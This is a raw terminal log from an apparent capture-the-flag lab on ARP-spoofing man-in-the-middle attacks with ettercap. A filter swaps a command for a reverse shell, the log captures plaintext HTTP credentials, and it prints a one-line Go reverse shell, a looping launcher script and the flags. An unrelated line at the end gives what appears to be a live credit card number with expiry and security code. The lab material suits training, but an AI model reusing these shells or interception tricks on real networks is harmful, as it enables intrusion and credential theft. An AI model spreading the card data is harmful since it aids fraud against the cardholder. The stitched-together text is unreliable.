192.168.12.66:6666 | S (0) Mon Feb 6 17:47:25 2023 [402490] TCP 192.168.12.10:4444 --> 192.168.12.20:44736 | AP (3) ls Mon Feb 6 17:47:25 2023 [405197] TCP 192.168.12.20:44736 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:25 2023 [406505] TCP 192.168.12.20:44736 --> 192.168.12.10:4444 | AP (30) rev.go root.txt server.sh www Mon Feb 6 17:47:25 2023 [413112] TCP 192.168.12.10:4444 --> 192.168.12.20:44736 | A (0) Mon Feb 6 17:47:26 2023 [389787] TCP 192.168.12.10:4444 --> 192.168.12.20:44714 | AP (7) whoami filter engine: Cannot open file /root/ettercap.log ###### ETTERFILTER: substituted 'whoami' with reverse shell. ###### Mon Feb 6 17:47:26 2023 [397027] TCP 192.168.12.20:44714 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:27 2023 [940440] TCP 192.168.12.10:4444 --> 192.168.12.20:44722 | AP (7) whoami filter engine: Cannot open file /root/ettercap.log ###### ETTERFILTER: substituted 'whoami' with reverse shell. ###### Mon Feb 6 17:47:27 2023 [940958] TCP 192.168.12.20:44722 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:28 2023 [111204] TCP 192.168.12.10:4444 --> 192.168.12.20:44728 | AP (7) whoami Mon Feb 6 17:47:28 2023 [116961] TCP 192.168.12.20:44728 --> 192.168.12.10:4444 | A (0) filter engine: Cannot open file /root/ettercap.log ###### ETTERFILTER: substituted 'whoami' with reverse shell. ###### Mon Feb 6 17:47:29 2023 [25845] TCP 192.168.12.10:4444 --> 192.168.12.20:44708 | AP (4) pwd Mon Feb 6 17:47:29 2023 [28972] TCP 192.168.12.20:44708 --> 192.168.12.10:4444 | A (0) filter engine: Cannot open file /root/ettercap.log ###### ETTERFILTER: substituted 'whoami' with reverse shell. ###### Mon Feb 6 17:47:29 2023 [403607] TCP 192.168.12.10:4444 --> 192.168.12.20:44736 | AP (7) whoami Mon Feb 6 17:47:29 2023 [405027] TCP 192.168.12.20:44736 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:30 2023 [401994] TCP 192.168.12.10:4444 --> 192.168.12.20:44714 | AP (4) pwd Mon Feb 6 17:47:30 2023 [405044] TCP 192.168.12.20:44714 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:30 2023 [690927] TCP 192.168.12.20:34794 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:47:30 2023 [803361] TCP 192.168.12.20:44744 --> 192.168.12.10:4444 | S (0) Mon Feb 6 17:47:30 2023 [805073] TCP 192.168.12.10:4444 --> 192.168.12.20:44744 | SA (0) Mon Feb 6 17:47:30 2023 [813062] TCP 192.168.12.20:44744 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:30 2023 [825221] TCP 192.168.12.10:4444 --> 192.168.12.20:44744 | AP (7) whoami Mon Feb 6 17:47:30 2023 [829051] TCP 192.168.12.20:44744 --> 192.168.12.10:4444 | A (0) filter engine: Cannot open file /root/ettercap.log ###### ETTERFILTER: substituted 'whoami' with reverse shell. ###### Mon Feb 6 17:47:30 2023 [958870] TCP 192.168.12.10:48232 --> 192.168.12.20:80 | S (0) Mon Feb 6 17:47:30 2023 [965055] TCP 192.168.12.20:80 --> 192.168.12.10:48232 | SA (0) Mon Feb 6 17:47:30 2023 [973039] TCP 192.168.12.10:48232 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:47:30 2023 [973253] TCP 192.168.12.10:48232 --> 192.168.12.20:80 | AP (133) GET /test.txt HTTP/1.1. Host: www.server.bob. Authorization: Basic YWRtaW46czNjcjN0X1A0eno=. User-Agent: curl/7.68.0. Accept: */*. . Mon Feb 6 17:47:30 2023 [981055] TCP 192.168.12.20:80 --> 192.168.12.10:48232 | A (0) Mon Feb 6 17:47:30 2023 [982541] TCP 192.168.12.20:80 --> 192.168.12.10:48232 | AP (17) HTTP/1.0 200 OK. Mon Feb 6 17:47:30 2023 [982775] TCP 192.168.12.20:80 --> 192.168.12.10:48232 | FAP (171) Server: SimpleHTTP/0.6 Python/2.7.12. Date: Mon, 06 Feb 2023 17:47:30 GMT. Content-type: text/plain. Content-Length: 3. Last-Modified: Sun, 27 Mar 2022 12:57:36 GMT. . OK HTTP : 192.168.12.20:80 -> USER: admin PASS: s3cr3t_P4zz INFO: www.server.bob/test.txt Mon Feb 6 17:47:30 2023 [989261] TCP 192.168.12.10:48232 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:47:30 2023 [990127] TCP 192.168.12.10:48232 --> 192.168.12.20:80 | FA (0) Mon Feb 6 17:47:30 2023 [997096] TCP 192.168.12.20:80 --> 192.168.12.10:48232 | A (0) Mon Feb 6 17:47:31 2023 [153360] TCP 192.168.12.66:6666 --> 192.168.12.20:34764 | AP (13) cat erver.sh Mon Feb 6 17:47:31 2023 [157022] TCP 192.168.12.20:34764 --> 192.168.12.66:6666 | AP (5) cat: Mon Feb 6 17:47:31 2023 [157038] TCP 192.168.12.66:6666 --> 192.168.12.20:34764 | A (0) Mon Feb 6 17:47:31 2023 [157269] TCP 192.168.12.20:34764 --> 192.168.12.66:6666 | AP (8) erver.sh Mon Feb 6 17:47:31 2023 [157279] TCP 192.168.12.66:6666 --> 192.168.12.20:34764 | A (0) Mon Feb 6 17:47:31 2023 [157487] TCP 192.168.12.20:34764 --> 192.168.12.66:6666 | AP (27) : No such file or directory Mon Feb 6 17:47:31 2023 [157497] TCP 192.168.12.66:6666 --> 192.168.12.20:34764 | A (0) Mon Feb 6 17:47:31 2023 [157694] TCP 192.168.12.20:34764 --> 192.168.12.66:6666 | AP (1) Mon Feb 6 17:47:31 2023 [157703] TCP 192.168.12.66:6666 --> 192.168.12.20:34764 | A (0) Mon Feb 6 17:47:31 2023 [491505] TCP 192.168.12.20:34800 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:47:31 2023 [704799] TCP 192.168.12.20:34794 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:47:31 2023 [941586] TCP 192.168.12.10:4444 --> 192.168.12.20:44722 | AP (4) pwd Mon Feb 6 17:47:31 2023 [949015] TCP 192.168.12.20:44722 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:32 2023 [112398] TCP 192.168.12.10:4444 --> 192.168.12.20:44728 | AP (4) pwd Mon Feb 6 17:47:32 2023 [116997] TCP 192.168.12.20:44728 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:32 2023 [184833] TCP 192.168.12.20:34786 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:47:32 2023 [504851] TCP 192.168.12.20:34800 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:47:33 2023 [27051] TCP 192.168.12.10:4444 --> 192.168.12.20:44708 | AP (3) ls Mon Feb 6 17:47:33 2023 [28947] TCP 192.168.12.20:44708 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:33 2023 [404697] TCP 192.168.12.10:4444 --> 192.168.12.20:44736 | AP (4) pwd Mon Feb 6 17:47:33 2023 [412912] TCP 192.168.12.20:44736 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:33 2023 [464778] TCP 192.168.12.20:34790 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:47:33 2023 [720880] TCP 192.168.12.20:34794 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:47:34 2023 [405857] TCP 192.168.12.10:4444 --> 192.168.12.20:44714 | AP (3) ls Mon Feb 6 17:47:34 2023 [413004] TCP 192.168.12.20:44714 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:34 2023 [520911] TCP 192.168.12.20:34800 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:47:34 2023 [827201] TCP 192.168.12.10:4444 --> 192.168.12.20:44744 | AP (4) pwd Mon Feb 6 17:47:34 2023 [829027] TCP 192.168.12.20:44744 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:34 2023 [829327] TCP 192.168.12.20:44744 --> 192.168.12.10:4444 | AP (6) /root Mon Feb 6 17:47:34 2023 [837100] TCP 192.168.12.10:4444 --> 192.168.12.20:44744 | A (0) Mon Feb 6 17:47:35 2023 [942674] TCP 192.168.12.10:4444 --> 192.168.12.20:44722 | AP (3) ls Mon Feb 6 17:47:35 2023 [948922] TCP 192.168.12.20:44722 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:36 2023 [113500] TCP 192.168.12.10:4444 --> 192.168.12.20:44728 | AP (3) ls Mon Feb 6 17:47:36 2023 [117021] TCP 192.168.12.20:44728 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:36 2023 [280893] TCP 192.168.12.20:34782 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:47:37 2023 [28231] TCP 192.168.12.10:4444 --> 192.168.12.20:44708 | AP (7) whoami Mon Feb 6 17:47:37 2023 [28994] TCP 192.168.12.20:44708 --> 192.168.12.10:4444 | A (0) filter engine: Cannot open file /root/ettercap.log ###### ETTERFILTER: substituted 'whoami' with reverse shell. ###### Mon Feb 6 17:47:37 2023 [405822] TCP 192.168.12.10:4444 --> 192.168.12.20:44736 | AP (3) ls Mon Feb 6 17:47:37 2023 [412999] TCP 192.168.12.20:44736 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:37 2023 [816805] TCP 192.168.12.20:34794 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:47:38 2023 [406983] TCP 192.168.12.10:4444 --> 192.168.12.20:44714 | AP (7) whoami filter engine: Cannot open file /root/ettercap.log ###### ETTERFILTER: substituted 'whoami' with reverse shell. ###### Mon Feb 6 17:47:38 2023 [413037] TCP 192.168.12.20:44714 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:38 2023 [584849] TCP 192.168.12.20:34800 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:47:38 2023 [828262] TCP 192.168.12.10:4444 --> 192.168.12.20:44744 | AP (3) ls Mon Feb 6 17:47:38 2023 [829008] TCP 192.168.12.20:44744 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:38 2023 [833430] TCP 192.168.12.20:44744 --> 192.168.12.10:4444 | AP (30) rev.go root.txt server.sh www Mon Feb 6 17:47:38 2023 [837097] TCP 192.168.12.10:4444 --> 192.168.12.20:44744 | A (0) Mon Feb 6 17:47:39 2023 [943840] TCP 192.168.12.10:4444 --> 192.168.12.20:44722 | AP (7) whoami filter engine: Cannot open file /root/ettercap.log ###### ETTERFILTER: substituted 'whoami' with reverse shell. ###### Mon Feb 6 17:47:39 2023 [948970] TCP 192.168.12.20:44722 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:39 2023 [989756] TCP 192.168.12.66:6666 --> 192.168.12.20:34764 | AP (14) cat server.sh Mon Feb 6 17:47:39 2023 [991293] TCP 192.168.12.20:34764 --> 192.168.12.66:6666 | AP (198) #!/bin/bash cd /root/www python SimpleHTTPAuthServer.py 80 admin:s3cr3t_P4zz & cd /root while : do go run /root/rev.go & sleep 13 pkill -9 -f "go run /root/rev.go" pkill -9 -f "/bin/bash$" done Mon Feb 6 17:47:39 2023 [991309] TCP 192.168.12.66:6666 --> 192.168.12.20:34764 | A (0) Mon Feb 6 17:47:40 2023 [114654] TCP 192.168.12.10:4444 --> 192.168.12.20:44728 | AP (7) whoami filter engine: Cannot open file /root/ettercap.log ###### ETTERFILTER: substituted 'whoami' with reverse shell. ###### Mon Feb 6 17:47:40 2023 [117009] TCP 192.168.12.20:44728 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:41 2023 [29462] TCP 192.168.12.10:4444 --> 192.168.12.20:44708 | AP (4) pwd Mon Feb 6 17:47:41 2023 [36943] TCP 192.168.12.20:44708 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:41 2023 [406896] TCP 192.168.12.10:4444 --> 192.168.12.20:44736 | AP (7) whoami filter engine: Cannot open file /root/ettercap.log ###### ETTERFILTER: substituted 'whoami' with reverse shell. ###### Mon Feb 6 17:47:41 2023 [412990] TCP 192.168.12.20:44736 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:42 2023 [408107] TCP 192.168.12.10:4444 --> 192.168.12.20:44714 | AP (4) pwd Mon Feb 6 17:47:42 2023 [412965] TCP 192.168.12.20:44714 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:42 2023 [828799] TCP 192.168.12.10:4444 --> 192.168.12.20:44744 | AP (7) whoami filter engine: Cannot open file /root/ettercap.log ###### ETTERFILTER: substituted 'whoami' with reverse shell. ###### Mon Feb 6 17:47:42 2023 [837104] TCP 192.168.12.20:44744 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:43 2023 [8789] TCP 192.168.12.10:48236 --> 192.168.12.20:80 | S (0) Mon Feb 6 17:47:43 2023 [13007] TCP 192.168.12.20:80 --> 192.168.12.10:48236 | SA (0) Mon Feb 6 17:47:43 2023 [21023] TCP 192.168.12.10:48236 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:47:43 2023 [21244] TCP 192.168.12.10:48236 --> 192.168.12.20:80 | AP (133) GET /test.txt HTTP/1.1. Host: www.server.bob. Authorization: Basic YWRtaW46czNjcjN0X1A0eno=. User-Agent: curl/7.68.0. Accept: */*. . HTTP : 192.168.12.20:80 -> USER: admin PASS: s3cr3t_P4zz INFO: www.server.bob/test.txt Mon Feb 6 17:47:43 2023 [29108] TCP 192.168.12.20:80 --> 192.168.12.10:48236 | A (0) Mon Feb 6 17:47:43 2023 [30674] TCP 192.168.12.20:80 --> 192.168.12.10:48236 | AP (17) HTTP/1.0 200 OK. Mon Feb 6 17:47:43 2023 [30904] TCP 192.168.12.20:80 --> 192.168.12.10:48236 | FAP (171) Server: SimpleHTTP/0.6 Python/2.7.12. Date: Mon, 06 Feb 2023 17:47:43 GMT. Content-type: text/plain. Content-Length: 3. Last-Modified: Sun, 27 Mar 2022 12:57:36 GMT. . OK Mon Feb 6 17:47:43 2023 [37276] TCP 192.168.12.10:48236 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:47:43 2023 [38222] TCP 192.168.12.10:48236 --> 192.168.12.20:80 | FA (0) Mon Feb 6 17:47:43 2023 [45162] TCP 192.168.12.20:80 --> 192.168.12.10:48236 | A (0) Mon Feb 6 17:47:43 2023 [151341] TCP 192.168.12.20:44752 --> 192.168.12.10:4444 | S (0) Mon Feb 6 17:47:43 2023 [157059] TCP 192.168.12.10:4444 --> 192.168.12.20:44752 | SA (0) Mon Feb 6 17:47:43 2023 [164996] TCP 192.168.12.20:44752 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:43 2023 [175375] TCP 192.168.12.10:4444 --> 192.168.12.20:44752 | AP (7) whoami Mon Feb 6 17:47:43 2023 [181085] TCP 192.168.12.20:44752 --> 192.168.12.10:4444 | A (0) filter engine: Cannot open file /root/ettercap.log ###### ETTERFILTER: substituted 'whoami' with reverse shell. ###### Closing text interface... Terminating ettercap... Lua cleanup complete! ARP poisoner deactivated. RE-ARPing the victims... Mon Feb 6 17:47:43 2023 [739880] TCP 192.168.12.20:34806 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:47:44 2023 [760821] TCP 192.168.12.20:34806 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:47:46 2023 [8828] TCP 192.168.12.20:34794 --> 192.168.12.66:6666 | S (0) Unified sniffing was stopped. admin@eve:~$ Listening on 0.0.0.0 6666 Connection received on 192.168.12.20 34764 fg nc -nvlp 6666 id uid=0(root) gid=0(root) groups=0(root) whoami root ls rev.go root.txt server.sh www cat root.txt THM{wh4t_an_ev1l_M!tM_u_R} cat rev.go package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.12.10:4444");cmd:=exec.Command("/bin/bash");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()} cat erver.sh cat: erver.sh: No such file or directory cat server.sh #!/bin/bash cd /root/www python SimpleHTTPAuthServer.py 80 admin:s3cr3t_P4zz & cd /root while : do go run /root/rev.go & sleep 13 pkill -9 -f "go run /root/rev.go" pkill -9 -f "/bin/bash$" done cd www l /bin/sh: 10: l: not found ls SimpleHTTPAuthServer.py test.txt user.txt cat test.txt OK cat user.txt THM{wh0s_$n!ff1ng_0ur_cr3ds} ls -lah total 20K drwxr-xr-x 2 root root 4.0K Apr 19 2022 . drwx------ 4 root root 4.0K Apr 4 2022 .. -rw-r--r-- 1 root root 1.6K Mar 27 2022 SimpleHTTPAuthServer.py -rw-r--r-- 1 root root 3 Mar 27 2022 test.txt -rw-r--r-- 1 root root 29 Apr 19 2022 user.txt cat SimpleHTTPAuthServer.py import BaseHTTPServer from SimpleHTTPServer import SimpleHTTPRequestHandler import sys import base64 key = "" class AuthHandler(SimpleHTTPRequestHandler): ''' Main class to present webpages and authentication. ''' def do_HEAD(self): print "send header" self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() def do_AUTHHEAD(self): print "send header" self.send_response(401) self.send_header('WWW-Authenticate', 'Basic realm=\"Test\"') self.send_header('Content-type', 'text/html') self.end_headers() def do_GET(self): global key ''' Present frontpage with user authentication. ''' if self.headers.getheader('Authorization') == None: self.do_AUTHHEAD() self.wfile.write('no auth header received') pass elif self.headers.getheader('Authorization') == 'Basic '+key: SimpleHTTPRequestHandler.do_GET(self) pass else: self.do_AUTHHEAD() self.wfile.write(self.headers.getheader('Authorization')) self.wfile.write('not authenticated') pass def test(HandlerClass = AuthHandler, ServerClass = BaseHTTPServer.HTTPServer): BaseHTTPServer.test(HandlerClass, ServerClass) if __name__ == '__main__': if len(sys.argv)<3: print "usage SimpleAuthServer.py [port] [username:password]" sys.exit() key = base64.b64encode(sys.argv[2]) test() https://gns3.com/software/video :) nice CCN CC : 6011208833210167|05|2025|633 RESULT : CCN LIVE